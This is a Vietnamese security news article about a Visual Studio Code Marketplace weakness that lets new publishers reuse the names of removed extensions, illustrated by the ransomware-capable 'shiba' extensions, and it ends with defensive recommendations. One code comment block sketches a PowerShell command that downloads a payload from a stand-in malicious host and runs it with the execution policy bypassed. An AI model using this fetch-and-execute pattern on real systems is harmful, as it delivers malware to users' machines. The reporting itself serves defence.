Nghiêm trọng: Lỗ hổng Visual Studio Code Marketplace bị khai thác mã độc

Nghiêm trọng: Lỗ hổng Visual Studio Code Marketplace bị khai thác mã độc

Một lỗ hổng Visual Studio Code Marketplace vừa được phát hiện đã cho phép các tác nhân độc hại chiếm đoạt tên tiện ích mở rộng bị ngừng hoạt động. Điều này giúp chúng đưa mã độc vượt qua sự kiểm soát, gây ra các tấn công chuỗi cung ứng nhắm vào các nhà phát triển và tổ chức sử dụng môi trường phát triển tích hợp (IDE) phổ biến này.

Vấn đề cốt lõi nằm ở cơ chế quản lý tên tiện ích của Marketplace, nơi tên của các tiện ích đã bị xóa hoàn toàn (removed) có thể được tái sử dụng bởi những nhà phát hành mới. Điều này mâu thuẫn trực tiếp với kỳ vọng về tính duy nhất của ID tiện ích, tạo ra một con đường tiềm ẩn cho việc lây lan phần mềm độc hại.

Nội dung
Khai thác Lỗ hổng Visual Studio Code Marketplace

Kỹ thuật Tái sử dụng Tên Tiện ích Mở rộng Độc hại
Rủi ro Mã độc Ransomware qua Tiện ích Mở rộng
Phân tích Kỹ thuật và Chính sách Xác thực Danh tính

Cơ chế Xác thực Danh tính Tiện ích Mở rộng
Điểm Yếu trong Chính sách Xóa Tiện ích và Tái Sử dụng Tên
Tác động Chuỗi Cung ứng và Biện pháp Phòng ngừa

So sánh với các Nền tảng Nguồn mở Khác và Rủi ro
Khuyến nghị Bảo mật và Quản lý Danh tính Mở rộng
Tầm quan trọng của Quản lý Danh tính Mở rộng trong An ninh Mạng

Khai thác Lỗ hổng Visual Studio Code Marketplace

Kỹ thuật Tái sử dụng Tên Tiện ích Mở rộng Độc hại

Vào tháng 6, các nhà nghiên cứu bảo mật từ ReversingLabs (RL) đã phát hiện một tiện ích mở rộng độc hại mới mang tên ahbanC.shiba. Tiện ích này sử dụng định danh “shiba” tương tự như một tiện ích có khả năng ransomware đã bị gỡ bỏ trước đó vào tháng 3.

Mặc dù tài liệu chính thức của Visual Studio Code quy định tên tiện ích mở rộng phải là duy nhất trên toàn nền tảng, sự việc này đã làm lộ ra một kẽ hở nghiêm trọng. Kẽ hở này cho phép tái sử dụng tên của các tiện ích đã bị gỡ bỏ, mở rộng nguy cơ cho các cuộc tấn công chuỗi cung ứng nhắm vào môi trường phát triển (IDE) của các nhà phát triển.

Rủi ro Mã độc Ransomware qua Tiện ích Mở rộng

Dữ liệu threat intelligence của RL cho thấy một sự thay đổi đáng kể trong chiến thuật tấn công. Trong khi các mối đe dọa VS Code trước đây chủ yếu liên quan đến việc đóng gói lại các gói npm độc hại, các tiện ích mở rộng độc hại hiện nay đang được tạo ra đặc biệt cho VS Code, thường đi kèm với các trình tải xuống tùy chỉnh và payload giai đoạn hai.

Vào tháng 3, RL đã xác định hai tiện ích mở rộng độc hại ban đầu: ahban.shibaahban.cychelloworld. Các tiện ích này có khả năng tải xuống và thực thi một module ransomware sơ khai. Module này được thiết kế để mã hóa các tệp trong một thư mục kiểm tra và sau đó hiển thị yêu cầu đòi thanh toán bằng tiền điện tử Shiba Inu.

Sau khi được báo cáo, những tiện ích mở rộng này đã nhanh chóng bị xóa khỏi Marketplace. Tuy nhiên, ahbanC.shiba đã xuất hiện trở lại vào tháng 6, hoạt động giống hệt các phiên bản tiền nhiệm ngoại trừ tên nhà phát hành (ahbanC thay vì ahban). Tiện ích này đã đăng ký một lệnh duy nhất là shiba.aowoo.

Khi lệnh shiba.aowoo được kích hoạt, một script PowerShell độc hại sẽ được tải xuống từ một máy chủ từ xa. Script này sau đó tiến hành mã hóa các tệp trong thư mục kiểm tra trên Desktop của nạn nhân. Đây là một ví dụ rõ ràng về cách lỗ hổng Visual Studio Code Marketplace có thể bị lạm dụng để phân phối mã độc ransomware.

# Ví dụ cấu trúc lệnh thực thi tiềm năng của shiba.aowoo
# Bước 1: Tiện ích gọi một hàm hoặc chạy một quy trình để tải script
# (Giả định payload.ps1 là tên của script PowerShell độc hại)
# Example: Invoke-WebRequest -Uri "http://malicious.server/payload.ps1" -OutFile "$env:TEMPpayload.ps1"

# Bước 2: Thực thi script PowerShell với quyền hạn phù hợp
# Example: Start-Process PowerShell -ArgumentList "-ExecutionPolicy Bypass -File "$env:TEMPpayload.ps1"" -NoNewWindow -Wait

Để biết thêm chi tiết kỹ thuật về phát hiện này và các mẫu mã độc, độc giả có thể tham khảo báo cáo chuyên sâu của ReversingLabs tại Malware in VS Code Extension Names.

Phân tích Kỹ thuật và Chính sách Xác thực Danh tính

Cơ chế Xác thực Danh tính Tiện ích Mở rộng

Trong hệ sinh thái VS Code, mỗi tiện ích mở rộng đều được gán một ID duy nhất có định dạng <publisher>.<name>, được khai báo trong tệp manifest package.json. Theo hướng dẫn chính thức của Microsoft, tên tiện ích mở rộng phải tuân thủ các quy tắc nhất định: viết thường, không chứa khoảng trắng và quan trọng nhất là phải duy nhất trên toàn nền tảng Marketplace.

Tuy nhiên, các cuộc điều tra của ReversingLabs đã làm sáng tỏ một điểm yếu trong việc thực thi chính sách này. Marketplace chỉ thực thi tính duy nhất một cách nghiêm ngặt đối với các tiện ích chưa được xuất bản (unpublished extensions). Điều này có nghĩa là một nhà phát hành không thể tái sử dụng tên của một tiện ích mà họ đã gỡ xuất bản, vì số liệu thống kê và lịch sử của tiện ích đó vẫn còn được lưu giữ.

Điểm Yếu trong Chính sách Xóa Tiện ích và Tái Sử dụng Tên

Ngược lại hoàn toàn, tên của các tiện ích đã bị xóa hoàn toàn (removed extensions) – tức là những tiện ích mà mọi số liệu thống kê và dữ liệu liên quan đã bị xóa khỏi Marketplace – lại trở thành “mục tiêu hợp lệ” cho việc tái sử dụng. Đây chính là lỗ hổng Visual Studio Code Marketplace mà các tác nhân độc hại đã khéo léo khai thác để che giấu ý đồ của mình.

Để chứng minh điều này, RL đã thực hiện một thí nghiệm kiểm tra. Họ tạo một tiện ích tên là testrl777.myextensiontest. Ban đầu, việc xuất bản một tiện ích thứ hai với cùng tên đã không thành công khi tiện ích gốc vẫn chưa được xuất bản, bất kể nhà phát hành là ai.

Tuy nhiên, ngay sau khi tiện ích gốc bị xóa hoàn toàn khỏi Marketplace, RL đã thành công trong việc xuất bản các tiện ích mới mang tên myextensiontest dưới các nhà phát hành khác nhau. Thí nghiệm tương tự với tên tiện ích độc hại “Solidity-Ethereum” đã xác nhận rằng các tác nhân đe dọa có thể tự do chiếm đoạt tên của các gói độc hại đã bị xóa trước đó mà không gặp trở ngại nào.

Tác động Chuỗi Cung ứng và Biện pháp Phòng ngừa

So sánh với các Nền tảng Nguồn mở Khác và Rủi ro

Kẽ hở liên quan đến việc tái sử dụng tên trong lỗ hổng Visual Studio Code Marketplace này phản ánh những lỗ hổng tương tự đã được phát hiện trên các nền tảng nguồn mở khác. Ví dụ, vào năm 2023, RL cũng đã báo cáo rằng tên gói PyPI đã bị xóa cũng có thể được tái sử dụng. Điều này đã mở đường cho các tác nhân độc hại xuất bản các gói Python đã được trojan hóa dưới các tên có vẻ hợp pháp và đáng tin cậy.

Một điểm khác biệt quan trọng là không giống như PyPI, VS Code Marketplace hiện tại không cung cấp cơ chế nào để vĩnh viễn bảo lưu hoặc đưa vào danh sách đen các tên đã bị xóa. Sự thiếu vắng cơ chế này làm tăng đáng kể nguy cơ lạm dụng tên tiện ích mở rộng, đặc biệt trong bối cảnh sự phổ biến của VS Code Marketplace ngày càng tăng nhanh. Đây là một rủi ro lớn đối với an toàn thông tin trong chuỗi cung ứng phần mềm.

Khuyến nghị Bảo mật và Quản lý Danh tính Mở rộng

Kẽ hở tái sử dụng tên làm nổi bật một rủi ro chuỗi cung ứng phần mềm cực kỳ quan trọng: bất kỳ tiện ích mở rộng nào đã bị xóa – dù là hợp pháp hay mang tính độc hại – đều có thể được hồi sinh bởi các tác nhân mới nhằm phân phối mã độc dưới một tên đã từng đáng tin cậy. Các nhà phát triển phải luôn duy trì sự cảnh giác cao độ khi cài đặt tiện ích mở rộng.

Việc xác minh nguồn gốc và tính hợp lệ của nhà phát hành là cực kỳ quan trọng để bảo vệ môi trường phát triển của mình. Để giảm thiểu rủi ro từ lỗ hổng Visual Studio Code Marketplace này, ReversingLabs đưa ra một số khuyến nghị chính:

  • Xác minh Nhà phát hành (Publisher): Luôn kiểm tra kỹ lưỡng tên nhà phát hành của tiện ích mở rộng trước khi cài đặt. So sánh với các nguồn đáng tin cậy nếu có thể.
  • Kiểm tra ID Duy nhất (Unique ID): Mặc dù ID <publisher>.<name> được thiết kế để duy nhất, hãy xem xét lịch sử và uy tín của phần <name>, đặc biệt nếu nó có vẻ quen thuộc.
  • Hạn chế Quyền hạn Tiện ích Mở rộng: Hạn chế các quyền mà tiện ích mở rộng yêu cầu đối với IDE và hệ thống của bạn. Chỉ cấp quyền tối thiểu cần thiết cho chức năng của tiện ích.
  • Giám sát Chủ động Chuỗi Cung ứng: Các tổ chức nên tích hợp các công cụ giám sát chuỗi cung ứng phần mềm và Threat Intelligence để phát hiện sớm các bất thường hoặc dấu hiệu của các tiện ích độc hại.
  • Cập nhật Hệ thống Thường xuyên: Đảm bảo VS Code và hệ điều hành luôn được cập nhật các bản vá bảo mật mới nhất.

Tầm quan trọng của Quản lý Danh tính Mở rộng trong An ninh Mạng

Lỗ hổng này một lần nữa nhấn mạnh rằng khi các kho lưu trữ nguồn mở tiếp tục trở thành mục tiêu bị vũ khí hóa, biện pháp phòng thủ không chỉ dừng lại ở việc kiểm tra mã nguồn. Nó cần mở rộng sang việc thiết lập các chính sách quản lý danh tính mở rộng chặt chẽ và thực hiện giám sát chủ động toàn bộ hệ sinh thái tiện ích mở rộng.

Với sự tăng trưởng nhanh chóng về số lượng người dùng và tiện ích trên Visual Studio Code Marketplace, việc các nhà phát triển và tổ chức chú ý đến các chi tiết nhỏ về quản lý danh tính tiện ích là điều cần thiết để củng cố an ninh mạng. Đảm bảo bảo mật Visual Studio Code không chỉ là trách nhiệm của Microsoft mà còn đòi hỏi sự hợp tác và cảnh giác từ toàn bộ cộng đồng người dùng và nhà phát triển.